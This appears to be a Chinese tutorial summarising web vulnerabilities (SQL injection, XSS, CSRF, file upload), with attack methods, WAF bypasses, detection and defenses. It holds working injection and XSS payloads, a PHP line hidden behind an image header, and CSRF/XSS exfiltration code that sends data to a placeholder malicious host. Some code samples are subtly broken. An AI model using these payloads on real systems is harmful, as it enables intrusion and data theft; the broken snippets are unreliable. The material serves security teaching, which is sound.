这里小结一下常见的Web漏洞类型,待完善。

SQL注入与SQL盲注

一、基本概念

漏洞定义

  SQL注入漏洞作为OWASP TOP10中重要的一部分,可见其安全性的危害有多大。简单地说,SQL注入就是通过构建特殊的具有SQL语法的语句,绕到数据库中进而执行相应的操作的漏洞。攻击者利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

成因

  针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

攻击方式

  SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为基于报错的注入、基于布尔的注入和盲注。

​ 基于报错的注入:数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容,如注入各种符号以及组合: ‘ “ ( %

​ 基于布尔的注入:攻击者可以直接在当前界面内容中获取想要获得的内容,如注入:1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0,当返回的结果不同时即有漏洞

  盲注:数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容

​ 判断盲注的常见用法:

1
2
1’ and 1=1 #
1’ and 1=2 #

​ 判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。

​ 基于布尔的注入代码示例:

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1 --+

​ 基于报错的注入代码示例:

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,count(*),concat((select email_id from emails where id=5),0x2a,floor(rand(0)*2))x from users group by x--+

​ 盲注代码示例:

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select substr(email_id,1,1) from emails where id=3) > 'a' --+

几个常用的函数

​ user()返回当前数据库连接使用的用户;

​ database()返回当前数据库连接使用的数据库;

​ version()返回当前数据库的版本;

​ concat或者concat-ws函数可以将这些函数进行组合使用并显示出来。concat函数中,将其中的参数直接连接起来产生新的字符串。而在concat_ws函数中,第一个参数是用于作为分隔符将后面各个参数的内容分隔开来再进行相应的连接产生新的字符串。以其常用的例子为例:

1
concat_ws(char(32,58,32),user(),database(),version())

​ 其中char()函数为将里面的参数转化为相应的字符,其中32为空格,58为冒号(:),通过这样的方式可以绕过一些简单的过滤机制。

几个常用的全局函数

​ @@datadir @@hostname @@VERSION @@version_compile_os

危害

  攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

二、绕过WAF的方法

1、大小写绕过

​ 如:?id=1’ uNiOn SElecT * FrOm users #

2、简单编码绕过

​ 如URL编码、双重URL编码、Hex编码、Unicode编码等。

​ ?id=1%252f%252a*/UNION%252f%252a /SELECT

​ id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…

​ ?id=10%D6‘%20AND%201=2%23

​ SELECT ‘Ä’=’A’; #1

3、注释绕过

​ 如?id=1 uni//on sele//ct 1,2,3 #

4、分隔重写绕过

​ 适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。

5、HTTP参数污染(HPP):

​ 如?id=1 union select 1,2,3 from users where id=1 #

​ 这时可以改为

?id=1 union select 1&id=2,3 from users where id=1 #

​ 次数&id=会在查询时变成逗号,具体细节取决于 WAF ;

​ 这个例子也同理:?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users #

​ 如果服务器代码为: select from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit /from users # 可以看到,这种方式比较适合白盒测试。

6、使用逻辑运算符 or /and 绕过

​ 如?id=1 or 0x50=0x50

​ ?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。

7、比较操作符替换

​ 比较操作符如!=、<>、<、>都可以用来替换=来绕过。

8、同功能函数替换

​ substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;

​ ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;

​ 在使用在基于延时的盲注中benchmark()和sleep()可以相互替换;

​ group_concat 、 concat 、concat_ws 三者可以互相替换;

​ 还有一种新的方法 ,3条语句分别如下

1
2
3
substring((selectpassword’),1,1) = 0x70
substr((selectpassword’),1,1) = 0x70
mid((selectpassword’),1,1) = 0x70

​ 都是从 password 里判断第一个字符的值,可以用

1
2
3
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1

​ 替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。

9、盲注无需or和and

​ 例句:index.php?id=1

​ 当and和or被过滤时,可以将 1修改为是通过语句生成的,

1
index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。

10、加括号

1
2
3
?id=(1)union(select(1),mid(hash,1,32)from(users))   
?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=(1)or(0x50=0x50)

11、缓冲区溢出绕过

​ 如

1
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #

​ 其中 A 越多越好,一般要求 1000 个以上。

三、检测方法

1、基于报错的检测方法

使用各种符号以及组合: ‘ “ ( %

如直接在URL后添加单引号看是否报错index.php?id=1’

2、基于布尔的检测

最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0

当返回的结果不同时即有漏洞

3、直接在URL地址后面加-1、-0、’%2B’和’%2B’a

添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;

添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;

添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。

4、判断盲注的常用方法

1’ and 1=1 #

1’ and 1=2 #

判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。

四、防御方法

关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。

常用的修复方案

(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

(2)过滤危险的 SQL 语句关键字。

(3)确认每种数据的类型。

(4)数据长度应该严格规定。

(5)网站每个数据层的编码统一。

(6)严格限制网站用户的数据库的操作权限。

(7)避免网站显示 SQL 错误信息。

(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。

(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

其实最有效的防御手段是下面两种:

1、预编译

原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。

其过程如下:

(1)定义预编译的sql语句,其中待填入的参数用?占位。

(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。

(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。

(4)执行预处理对象。

例子:

1
2
3
4
String sql="select id,no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();

2、变量绑定

是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多,后面再补充。

XSS(跨站脚本)

一、基本概念

漏洞定义

  跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

​ XSS,全称cross-site scripting,是用于攻击Web客户端而不是服务器端,其最大的特点是能把恶意的JS或HTML代码注入到用户浏览的网页上。而XSS漏洞的存在,主要是由于Web应用程序对用户的输入没有进行严格的过滤所导致的,当攻击者把恶意代码注入到网页时,用户只要访问该网页就会执行其中的恶意代码。

成因

  造成XSS漏洞的原因就是,攻击者的输入没有经过严格的控制,最终显示给来访的用户,攻击者通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、个人网页内容、会话和cookie等各种内容。

类型

主要分为以下前3种。

​ 反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。

​ 存储型(持久型):攻击者将恶意代码注入到Web服务器中并保存起来,只要客户端访问了相应的页面就会受到攻击。

​ DOM型:利用浏览器的DOM特性,不是向浏览器发请求而是直接通过在本地执行从而修改或窃取本地的信息。

​ Flash型:利用网页上flash文件的缺陷来执行js脚本,一般是反射型XSS。
​ mXSS型:又被叫做突变XSS,主要被用于绕过XSS过滤。用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得一串看似没有任何危害的HTML代码,最终将进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。

使用场景

​ 直接嵌入html script标签中

​ 元素标签事件

1
<body onload=alert(‘xss’)>

​ 图片标签 img

​ 框架标签 iframe

​ DOM对象

利用方式

​ 窃取用户cookie来非法登录访问目标站点;

  XSS与CSRF漏洞结合利用,使受害者在不知不觉中用用户的账号进行转账等敏感危险操作;

​ XSS蠕虫;

​ 执行恶意JS代码实现键盘记录;

​ 内嵌恶意HTML代码到页面中;

​ 页面恶意重定向;

​ 利用XSS进行DDOS,参考:SOHU视频XSS漏洞导致其用户成为DDOS肉鸡。

二、绕过WAF的方法

利用<>标记注入HTML或JS

1
<script>alert(‘xss’)</script>

利用HTML标签属性值执行XSS
很多的HTML标记中的属性都支持javascript:[code]伪协议的形式

1
<img src=”javascript:alert('xss');”>

空格回车TAB
空白不会影响JS语句的在正常执行

1
<img src=”javas	cript:alert('xss')” width=100>

对标签属性值进行转码
HTML属性值本身是支持ASCII码形式的

1
<img src=”javascript:alert('xss')” width=100>

​ 其中t的ASCII码值为116,用“&#116”来表示,而冒号:的ASCII值为58。

​ 另外,Tab符的ASCII码为&#9、换行符的为&#10、回车符的为&#13可以被插入到代码的任何地方中去。

​ 还可以将&#01、&#02等字符插入到JavaScript的头部中。

产生自己的事件

​ 事件是用户或浏览器自身执行的某个动作,如Click等

1
<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>

​ onerror是img标签的一个事件,只要页面发生错误就会激活相应的事件。

​ 除此之外还有各种事件,如:onResume、onfinish、onstop、onReverse等等。

利用CSS跨站剖析

​ CSS是XSS的另一个载体,代码通常是嵌入到style标签/属性中的。

​ 缺点是个浏览器之间不能通用。

扰乱过滤规则

转换大小写,顺序可以随意

双引号与单引号互换

不使用引号

注释符号

内嵌

字符编码
可以对代码进行十进制编码(&#),可以在每个十进制字符后面加上分号;,也可以采用&#0、&#00;等的形式。

​ JS中的eval()函数,用于计算字符串并执行其中的JS代码。可以使用\连接十六进制字符串形式的脚本让eval()函数来执行,如

1
<script>eval(“\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29”);</script>

​ 也可以让其执行十进制形式的脚本,但需要和String.fromCharCode()函数一起使用、实现将字符转为ASCII值,如

1
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

​ 在利用CSS中,可以对style中的属性进行十六进制的编码来绕过。

Shellcode的调用

​ 简单地说,Shellcode是指对一个漏洞进行利用的代码。

动态调用远程JS
将shellcode保存在其他服务器中,然后再用script标签来动态加载。除此之外,还可以通过基于DOM的方法创建和插入结点,把代码注入到网页中。这两种方式在利用中都有相应的演示。

使用window.location.hash

​ 即DOM型。location是JS管理地址栏的内置对象,location.hash则是用来获取或设置页面的标签值。相关的简单的利用已有示例,至于DOM型的XSS会有进一步的笔记。

三、检测方法

​ 寻找脚本程序的输出显示代码,搜索关键字,显示输出那个变量,跟踪变量是否被过滤。

​ 可以先输入一些内容,页面返回之后,可以查看网页源代码,搜索内容关键字看看是不是直接返回在页面的HTML代码中。

四、防御方法

1、调用函数

​ 对于用户提交的数据可以通过调用函数进行过滤,htmlspecialchars()函数将输出的内容进行HTML的编码,效果最好;str_replace()函数可以将指定的字符串转换为其他字符串的,但是会被绕过。

2、使用XSS Filter

(1)输入过滤

​ 输入验证(客户端):前端JS过滤,如检测最大长度、是否只有合法字符、格式是否符合要求、数字是否在指定的范围内。缺点就是容易被修改掉。

​ 数据消毒(服务器端):过滤敏感字符(可以和SQL注入的一同过滤),如< > javascript ‘ “ & # expression等。

(2) 输出编码(服务器端)

​ 可以使用HTML编码(PHP的htmlspecialchars()函数、ASP的Server.HTMLEncode()函数、ASP.NET的Server.HtmlEncode()函数),用对应的HTML实体替代字面量字符,此时浏览器会将恶意代码当作HTML文档的内容而不是结构加以处理。

常见恶意字符的HTML编码(显示、实体名字、实体编号):

< <; &#60;

> > &#62;

& & &#38;

“ “ &#34;

‘ ‘

3、白名单和黑名单结合

4、Noscript

​ Firefox的一款免费的开源插件,默认禁止所有脚本,但是可以通过自定义设置允许通过的脚本。

5、Anti_XSS

​ 提供大量的编码函数用于处理用户的输入,实现白名单机制和输出转义。

6、HttpOnly

​ 攻击者通过XSS漏洞执行JS中的document.cookie方法来窃取用户的cookie信息。Web应用程序在Set-Cookie时将其属性设为HttpOnly即可避免Cookie被客户端JS存取,也可以保护用户的Cookie信息不被盗取。

​ PHP设置HttpOnly的方法:

​ (1) 修改php.ini文件,设置其值为1或TRUE;

​ (2) setcookie()函数和setrawcookie()函数的第七个参数;

​ (3)在PHP代码中开启。

7、Web安全编码规范

​ 对敏感字符转义、URL属性进行相应的规定等。

8、尽量使用WAF

9、防御DOM型XSS

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:

(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到

1
<script>

则进行JS编码。

CSRF(跨站请求伪造)

一、基本概念

漏洞定义

  跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。

成因

由于程序员的不严谨导致Web应用程序存在漏洞

Web浏览器对Cookie和HTTP身份验证等会话信息的处理存在缺陷

漏洞利用的前提

用户已经完成身份认证

新请求的提交不需要重新身份认证或确认机制

攻击者必须了解Web APP请求的参数构

用户会被吸引去点击链接

CSRF与XSS的区别与关系

XSS主要利用用户对站点的信任,而CSRF主要是利用站点对已知身份认证的信任。换句话说,XSS是用户自己点击链接来访问相应的网页的,而CSRF是在用户并不知情的情况下来提交请求的。另外,两者的产生的原因也不一样,CSRF的是因为采用了隐式的认证方式,而XSS的是因为对用户输入没有进行有效的过滤。

两者均利用用户的会话执行某些操作;若一个站点存在XSS漏洞,则很大可能也存在CSRF漏洞;若CSRF的恶意代码存在于第三方的站点,即使能有效地过滤用户的输入而防止XSS,也未必能防御CSRF。

攻击方式

GET型与POST型CSRF:主要取决于相应操作对提交方式的限制,其原理都是事先构造出一个恶意的请求,然后诱导用户点击或访问,从而假借用户身份完成相应的操作。另外,有些POST型CSRF也可能会利用javascript进行自动提交表单完成操作。

Flash型CSRF:通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造,如:

Flash跨域权限管理文件设置为允许所有主机/域名跨域对本站进行读写数据:

1
2
3
4
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF。

CSRF蠕虫:CSRF常见的危害是攻击者可以在用户不知情的情况下以用户的身份进行指定的操作,但实际上CSRF的危害远不止于此,经过特意构造的CSRF可以产生蠕虫的效果。如:某社区私信好友的接口和获取好友列表的接口都存在CSRF漏洞,攻击者就可以将其组合成一个CSRF蠕虫——当一个用户访问恶意页面后通过CSRF获取其好友列表信息,然后再利用私信好友的CSRF漏洞给其每个好友发送一条指向恶意页面的信息,只要有人查看这个信息里的链接,CSRF蠕虫就会不断传播下去,其可能造成的危害和影响非常巨大!

二、CSRF攻击获取数据的方法

要获取的关键数据:用户 id、用户昵称、用户 email、用户个人页面地址等。

同域内 CSRF 攻击获取数据几乎没任何限制。

跨域 CSRF 攻击获取数据的几种方法总结如下:

1、结合XSS 组合漏洞

利用XSS 获取数据,如之前关于XSS文章做的三方的演示,使用目标站点上的XSS 漏洞:

1
<iframe width=0 height=0 src=‘http://目标站点/search.php?k=><script src=http://恶意站点/get.js></script>’></iframe>

其中get.js 的代码为:

1
2
//use DOM method to get your data
new Image(). src=‘http://恶意站点/a.php?data=‘+data;

恶意站点的 a.php 文件接收唯一标识等数据,该唯一标识可以是 url 中的或是目标站点url 对应的内容中的。这样受害者就会访问到第三方的恶意网站从而泄露信息。

2、JSON Hijacing

目标站点使用了 JSON 数据传输用户私有数据,其中包含需要的唯一标识等信息。

相关代码:

1
2
3
4
5
<script> function hijack(o){
//use DOM method to get your data
new Image().src="http://192.168.1.2/JSONHiJack.asp?hi="+escape(data);
}</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>

3、Flash AsctionScript(crossdomain.xml)

前提是目标站点下存在crossdomain.xml文件,且其配置允许其他域的 AS脚本进行跨域请求。

1
2
3
4
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

相关代码:

1
2
3
4
import flash.net.*; 
var _l = new URLLoader(new URLRequest(“http://目标站点/"));
_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});
_l.load();

4、服务端代理技术

三、检测方法

最简单的方法就是抓取一个正常请求的数据包,去掉 Referer 字段后再重新提交,如果该提交还有效,那么基本上可以确定存在 CSRF 漏洞。另外还需要确认数据包中确实没有含有token字样,即使有也尝试去掉再发包看是否是进行有效的CSRF校验即可。

一些专门针对 CSRF 漏洞进行检测的工具,如CSRFTester,CSRF Request Builder 等。

以 CSRFTester 工具为例,CSRF 漏洞检测工具的测试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。

四、防御方法

1、 服务端的防御

主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。

(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。

(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。

(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。

(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。

(5)、使用验证码或者密码确认方式,缺点是用户体验差。

2、 用户端的防御

用户的安全意识与良好的上网习惯。

3、 安全设备的防御

有些厂商的安全产品能基于硬件层面对HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击。

文件上传漏洞

一、基本概念

漏洞定义

文件上传漏洞是指由于服务器端对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将WebShell上传到服务器中进而执行利用。

成因

导致文件上传的漏洞的原因较多,主要包括以下几类:

服务器配置不当

开源编辑器上传漏洞

本地文件上传限制被绕过

过滤不严或被绕过

文件解析漏洞导致文件执行

文件路径截断

服务器配置不当

二、文件上传攻击分类

1、轻量级检测绕过攻击

(1)绕过javascript 对扩展名的检测:

使用Burpsuite等反向代理工具直接POST数据包到服务端,绕过前端检测,如DVWA中的绕过示例。

(2)绕过服务端对http request 包MIME 类型检测:

使用Burpsuite等反向代理工具伪造POST 数据包到服务端,绕过MIME检测,如DVWA中的绕过示例。

2、文件内容检测绕过攻击

文件加载测试绕过:对文件进行代码注入再配合任意解析调用/漏洞。

3、上传攻击框架漏洞分层以及路径/扩展名检测绕过攻击

轻量级检测绕过攻击
绕过javascript 对扩展名的检测 代码层漏洞
绕过服务端对http request 包MIME 类型检测 代码层漏洞
路径、扩展名检测绕过攻击
黑名单绕过 白名单绕过
文件名大小写绕过名单列表绕过特殊文件名绕过0x00截断绕过.htaccess文件攻击PHP文件包含漏洞Apache解析漏洞IIS解析漏洞Nginx解析漏洞 代码层漏洞代码层漏洞代码层漏洞代码层漏洞代码层漏洞代码层漏洞应用层漏洞应用层漏洞应用层漏洞 0x00截断绕过PHP文件包含漏洞IIS解析漏洞Nginx解析漏洞 代码层漏洞代码层漏洞应用层漏洞应用层漏洞

4、文件内容检测绕过攻击

文件加载绕过 (代码层漏洞)

攻击手法与环节如图:

文件上传攻击思路图

三、上传文件中的解析攻击

1、直接解析(几乎没有防御)

比如直接上传一个扩展名是.php 的文件,只需要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就行了。

2、配合解析(有一定程度的防御)

可以理解为先将代码注入到服务器上,上传一个带有一句话木马的图片或文件,等待一个解析的配合来实现攻击。

(1)、本地文件包含解析:主要是PHP本地文件包含

(2)、.htaccess文件解析

(3)、Web应用程序解析漏洞以及其原理:

1.Apache 解析漏洞:

解析: test.php.abc(其中abc为任意不属于黑名单且也不属于Apache解析白名单的名称)

描述:一个文件名为x1.x2.x3的文件,Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样 一直往前尝试,直到遇到一个能解析的扩展名为止。

2.IIS 解析漏洞:

解析:test.asp/abc 或 test.asp;abc 名 或 abc/def.php (其中abc、def都为任意文件名)

描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含”.asp”字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有”.asp;”会优先按asp来解析;IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。

3.Nginx 解析漏洞:

解析:abc/def.php 或 abc%00.php (其中abc、def都为任意文件名)

描述:目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/abc.php 的解析漏洞,如原本文件名是test.jpg则可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。

4.解析漏洞总结:

Apache的扩展名顺序解析漏洞:Apache自身的漏洞

IIS的asp 解析漏洞:IIS自身的漏洞

Nginx的%00 解析漏洞:Nginx自身的漏洞

php-cgi的默认配置漏洞:这类以CGI 形式调用php的web 应用程序主要出现在IIS和Nginx;而Apache 通常是以module 的形式去调用php,所以很少出现该类型漏洞。

四、检测方法

简单点的方法就是直接上传各种类型的文件,再通过Burpsuite修改各个可以绕过的检测内容来检测。

五、防御方法

简单的防御方法为:获取文件扩展名进行白名单对比,然后对文件进行重命名。当然若存在解析漏洞等容易被绕过,具体点的防御方法如下:

1、客户端JavaScript检测:通常为检测文件扩展名)

2、服务端MIME 类型检测:检测Content-Type内容)

3、服务端目录路径检测:检测跟path参数相关的内容

4、服务端文件扩展名检测:检测跟文件extension 相关的内容

(1) 黑名单检测:

  1. 文件名大小写绕过:如 AsP,pHp。

  2. 名单列表绕过:用黑名单里没有的名单,如 asa 或 cer 等。

  3. 特殊文件名绕过:比如发送的 http 包里把文件名改成 test.asp. 或 test.asp (后面为空格),这种命名方式在 Windows系统里是不能直接修改的,需要在Burpsuite等代理中进行修改,然后绕过验证后,会被Windows系统自动去掉后面的点和空格,但也只能用在Windows系统中。

  4. 0x00 截断绕过

  5. 双扩展名解析绕过攻击:

(1)基于Web服务的解析逻辑:如果上传一个文件名为help.asp.123,扩展名123 不在扩展名黑名单中也没在Apache 可解析扩展名列表中,此时会向前搜寻下一个可解析的扩展名,若搜寻到.php,则会以php 执行。

(2) 基于Web服务的解析方式:如果在Apache的conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg也会以php 来执行。

  1. 危险解析绕过攻击:基于Web服务的解析方式:如果在Apache 的conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。

  2. .htaccess 文件攻击:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测。

  3. 解析调用/漏洞绕过:直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

(2) 白名单检测:

  1. 0x00 截断绕过:如test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击

  2. 解析调用/漏洞绕过:直接配合上传一个代码注入过的白名单文件,再利用解析调用/漏洞

  3. .htaccess文件攻击:无论是黑名单还是白名单都可以直接攻击.htaccess 文件

如果PHP 安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。

5、服务端文件内容检测(检测内容是否合法或含有恶意代码) :

(1)文件幻数检测:

主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值,比如图片类型的文件幻数如下:

JPG文件:

jpg文件幻数

GIF文件:

gif文件幻数

PNG文件:

png文件幻数

然后在文件幻数后面加上代码即可。

(2)文件相关信息检测:

图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息,结构如下:

GIF89a

1
2
3
(...some binary data for image...) 
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加载检测:

一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。

对渲染/加载测试的攻击方式:代码注入绕过,可以用图像处理软件对一张图片进行代码注入,但文件结构是完整的,渲染测试基本上都能绕过。用winhex查看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区。

对二次渲染的攻击方式:攻击文件加载器自身,常见的就是溢出攻击,上传恶意文件后服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode比如access/mdb 溢出;二次渲染相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。

示例代码:

1
2
3
4
5
6
7
8
function image_gd_open(file, extension) { 
extension = str_replace('jpg', 'jpeg', extension);
open_func = 'imageCreateFrom'. extension; //函数名变成imageCreateFrompng 之类
if (!function_exists($open_func)) {
return FALSE;
}
return open_func(file); //变成imagecreatefrompng('/tmp/php0lbTOn')
}

文件包含漏洞

一、基本概念

漏洞定义

